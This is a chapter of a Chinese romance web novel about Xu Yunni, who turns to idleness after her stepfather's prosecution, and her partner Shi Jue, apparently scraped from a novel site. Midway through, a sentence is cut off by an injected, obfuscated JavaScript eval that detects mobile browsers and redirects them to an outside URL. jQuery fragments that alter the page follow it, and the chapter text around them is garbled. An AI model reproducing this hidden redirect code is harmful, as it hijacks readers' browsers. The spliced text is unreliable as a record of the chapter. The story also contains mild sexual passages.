第 69 章 摆!开摆!

作品:《霓虹星的轨迹

    第69章摆!开摆!


    说真的,时诀不太信。


    这九成是她最近心烦意乱随口而出的。


    他问完徐云妮没有马上回答他,他就已经确定了两肘拄在她身边,低头看着她,笑着又逗她:“认真说的吗?再不出声我当真了啊。”


    徐云妮盯着他看依然没说话。


    于是时诀的笑串成了一串。


    徐云妮知道,他不信她的话。


    她抽出一只手打了他一下。


    他的身体被拍出清脆的声响坐起来,去冰箱拿酒,给她做了一杯。


    “喝点酒,睡一觉就好了。”


    徐云妮连喝了几杯他说:“酒量渐长啊。”


    徐云妮一手拿着酒杯,一手指指自己肚子。


    时诀:“饿了吗?”


    徐云妮晕乎乎地说:“班长,这个世上刚刚诞生了一颗想要摆烂的心。”


    时诀抓着她的手往上一点纠正道:“心在这呢。”


    徐云妮:“反正就是那个意思。”


    时诀不言,看了她一会说:“徐云妮你再这样说下去我就要当真了。”


    徐云妮微皱着眉


    “你当啊。”


    时诀没有再说什么。


    他依然是不信的,而往后的那段生活,却让时诀觉得……虽说这样讲有点不太对得起她的那位赵叔,但他真的认为,那是自己整个“陪读”生涯里最沉溺的时光。


    徐云妮再也不去学生会加班了也再不写那些闹眼睛的文件不会没完没了地接各位领导的电话——之前有一次他们都睡觉了某老师的孩子突然过敏高烧少一种药他大半夜爬起来陪徐云妮满市找。


    图什么呢?据她自己的说法是学生会要换届了她需要拿票。


    时诀能说什么只能点点头。


    徐云妮当然看到了他风凉的白眼也有点不好意思说选举完就好了。


    现在情况发生了改变。


    这事他还得感谢赵……他叫赵什么来着?


    ……好吧实话实说他确实不怎么关心他。


    这是时诀从小到大的习惯。


    时诀没有关于生母的记忆他只知道她是个音乐家后来嫁老外跑了。时诀原本也不叫这个名字是他妈妈离开后时亚贤给他改的似有与过去诀别之意。时诀只看过他妈妈的照片一个年轻漂亮的女人。他在儿时每每看见拥


    有幸福家庭的小朋友都会很羡慕也曾幻想过完整的家庭是什么样子。


    后来他爸交了一个女朋友时诀对她很好但是她走了。


    再后来他爸又交了一个女朋友时诀依然对她很好但是她也走了。


    就这样慢慢的时诀不再期待他对那些拥有幸福家庭的小朋友的感觉


    越是圆满的家庭他越是漠不关心他看他们就像隔着一层油膜似的内容再丰富画面也是浑的。


    他看徐云妮的家庭这种感觉更甚。


    他承认自己有点幼稚他不喜欢她成天围绕着曾经伤害过他的东西转。


    他希望她能快一点从她后爸这件事里抽身。


    但显然没那么容易。


    在这个徐云妮自认为诞生了“摆烂之心”的夜晚她喝得烂醉如泥但时诀却异常清醒他坐在桌边一边抽烟一边听她念念叨叨说什么她就不该浪费那些时间多睡会觉好不好大学念了三年头发都快掉没一半了……


    时诀听得乐出来中途还去LAPENA帮她拿了点冰块。


    这酒局整体讲还挺欢乐的只要抛开她最后流的眼泪。虽然她刚流第一滴时就连忙站起来说要去洗手间。时诀把抽了一半的烟轻轻放在烟灰缸上然后推开洗手间的门果不其然看见她在洗脸。


    他走过去拍拍她肩膀。


    她关了水龙头低着头转过身将满是水的额头埋在他身上。


    她的哭都是安静的忍耐的。


    时诀摸着她的背骨感受她轻微的颤抖感受她长长的深呼吸她闷闷地说:“班长我有点混乱。”


    他说:“乱什么?”


    “不知道”徐云妮迷迷糊糊的要借酒力才能把话说出来“我昨天梦到被检察院的人问话我爸以前也是检察官他们突然站到对立面我……”


    其实徐云妮跟任何人都不敢说赵博满是有被查出一些实证的甚至他的父亲都有明确牵连。只是他涉及得小态度良好退赃积极又有顶级的律师团队处理所以得到一个判二缓二的结果。


    曾经一段时间里徐云妮满脑子想的都是怎么才能瞒过检察院帮赵博满脱罪。


    她有时会看到徐志坤的幻影好像在对她说妮妮你真的长大了。


    徐云妮一度整个人都迷乱了甚至学校论坛里那篇文章她在无语的同时竟然还有点心虚。


    时诀


    说:“他们是他们,你爸是你爸,又不一样。”


    徐云妮额头抵着他,闭着眼说:“我就是感觉,我的很多想法都变了……”


    “过段时间就好了。”时诀想到什么,悠悠道,“这点我还是有发言权的,‘爹’这个东西嘛,他给你的,甭管好坏,是什么就是什么,别人改变不了的。人哪儿那么容易变啊,变来变去还是原来的样子。”


    徐云妮从他身上抬起头,他的神情一如往日,平静淡然。


    她看着他,问:“你父亲给你什么了?”


    “人生经验啊,”他视线落下,跟她红红的眼睛对上,笑着说,“想学吗?他教我要把心思多花在另一半身上,别人都放放,父母跟孩子的关系其实也没那么紧密的。你知道吗?我爸死的时候我都没哭。”


    徐云妮:“为什么不哭?”


    时诀笑道:“我在想事啊,他死了我去哪呢?”


    徐云妮不言。


    时诀说:“检察院调查的不是你,是你那叔叔,你替你妈关心他,但过去了就过去了,总不能让他影响到你对你爸的看法吧。”他抬起手,勾勾她的脸,“更不能影响你啊,这到底跟你有什么关系啊,什么都管。”


    徐云妮怔了一下。


    咝……


    洗手间的灯并没有换,他的面庞冰白清冷。


    徐云妮时常觉得,她的男人是个有点封闭的人,真正关心的人事物非常少,而且有着很明显的亲疏远近,陶雨就私下跟她说过,觉得时诀太冷傲了。以前徐云妮有尝试过让他放开一些,带他跟自己的同学们一起玩,他玩得很开心,但也仅此而已。她问他要不要再约同学出去,他看出她的意思,笑着说真的要约吗?你确定吗?然后给她看了手机。


    那是他们一起去漫展的时候,聂恩贝那动漫社团的另一个coser,她给时诀发了一张裸照。


    他看着她无言的表情,笑道,还要看吗?男女都有哦。


    徐云妮就知道了,还是别放开了,给他装瓶子里拧死吧。


    她越来越理解他的处事态度,有些时刻——比如现在,她甚至觉得自己应该学一下他,他把人清晰地划分出层级,圈里圈外,界限分明。


    公事公办,主要是不烧心。


    他在那玩她的头发。


    她说:“哎,你还没说,我不上班在家赖着行吗?”


    时诀说:“徐云妮,我巴不得你愿意做个神秘阔太呢。”


    徐云妮:“有多阔?”


    他的手顿了顿,虽然他依然觉得她只


    是随口一说但还是认真研究了一下。


    “……我尽力”他思索着说“但你也别太看得起我肯定有头的。”说着他又笑了“还真讨论起来了?”


    徐云妮一直觉得时诀的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589771|129642||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑跟他整个人风格一样特别的浅淡有时会显得有点冷漠甚至刻薄但同时这也会在不知不觉中中和掉一些浓烈的情感挣扎如同他喜爱的香烟所有繁乱沉重的思绪都那么一吹就散了。


    很诡异的徐云妮莫名没那么纠结了她带着那颗摆烂的心拉他回去接着喝酒。


    那晚她断片了醒来的时候已经第二天了她被换上了睡衣扣子还扣偏了。


    她就在他的怀里躺着。


    随着徐云妮断掉学校繁复的工作她在709室待的时间越来越长。


    他们几乎天天都在一起。


    时诀因为连爆了几首歌工作已经被约到明年了每天非常繁忙手机消息都回不完。但他却更加频繁地前往徐云妮的城市有时只有一天的空闲他也一大早飞去然后坐最晚的航班回来。


    周围人都觉得他太折腾了。


    但是时诀在身体上也许有点疲倦可精神上非常满足。


    崔浩跟他闲聊的时候抱怨过说以前不谈的时候总想谈真谈了也麻烦尤其资源少的时候暖儿女士没事干天天就是无穷尽的电话查岗腻腻歪歪没完没了。


    时诀的情况正好相反。


    主要是徐云妮的起点太低了如果说大学的时间是一条十米长的绳子他去找她的时间大概有四米但他们真正相处的时间最多也就两米。


    他有时会觉得不公平为什么他在忙的时候也能来找她她却不行呢?


    虽然他也知道他们两人的工作性质不同徐云妮总是要到各个场合出面而他洗个澡的功夫就能成型一首曲子。


    但他还是会受不了。


    一开始他决定一个月去找她一次主要是为了她着想觉得这样她会比较放心。到后来


    他喜欢她从一开始羞红的窘态到最后任由他折腾依旧能专心做事的变化。他也喜欢他一旦质疑她反应淡然她就会收起笔然后给他一场欢爱。她会把他压在身下会让他柔声呻吟她经常跟他玩一个游戏让他扮演一个瘫痪的病人一动不动然后她能只用他腰以上的部分就让他腰以下溃不成军。


    时诀经常怀


    疑,她已经把他每根头发丝都录入系统了,碰哪什么反应,都记得一清二楚,她能用最冷静的温柔,给他最有烈度的体验。


    每一场“收笔之战”她都非常投入,因为她知道,她必须灌满他的心神,她才能继续工作。


    这些场景,有时发生在阳光下,有时在夜里。


    他更喜欢在阳光下。


    他越来越难以忍受分别,难以忍受他千里迢迢来找她,她的时间却被其他事情占据。


    她最开始制定的那些游玩计划,都到大三了,才实施了一半。


    他忍了好几次火,徐云妮也看出来了,她跟他打包票,说毕业了就马上回家,她会在家那边工作。他看过她平时研究的岗位,确实都是他们那边的法制部门。


    于是他就等着她毕业。


    结果现在,她后爸突然出事了。


    时诀私下找人打听过,她这种情况,想考一线城市的公检法可能会有困难。


    那她接下来想干什么?他曾问过一次,她说还不清楚。


    时诀就没再问,她现在表现得很迷茫,但时诀知道,那都是暂时的,她骨子里谁也劝不动。


    他没建议,等她自己决定。


    再然后,就出现了她说要摆烂的那一夜。


    时诀不信,但他忍不住高兴。


    他陪她过了一段“摆烂”的日子,他们就像一对新婚夫妻一样,每天腻在一起,她有时会改他的曲谱,有时会偷他的烟,他教她唱歌,教她弹琴,他们一起把剩下一半旅游攻略也完成了。


    风花雪月,墙头马上。


    那是时诀整个“陪读”生涯里,最沉溺的时光。


    作者有话要说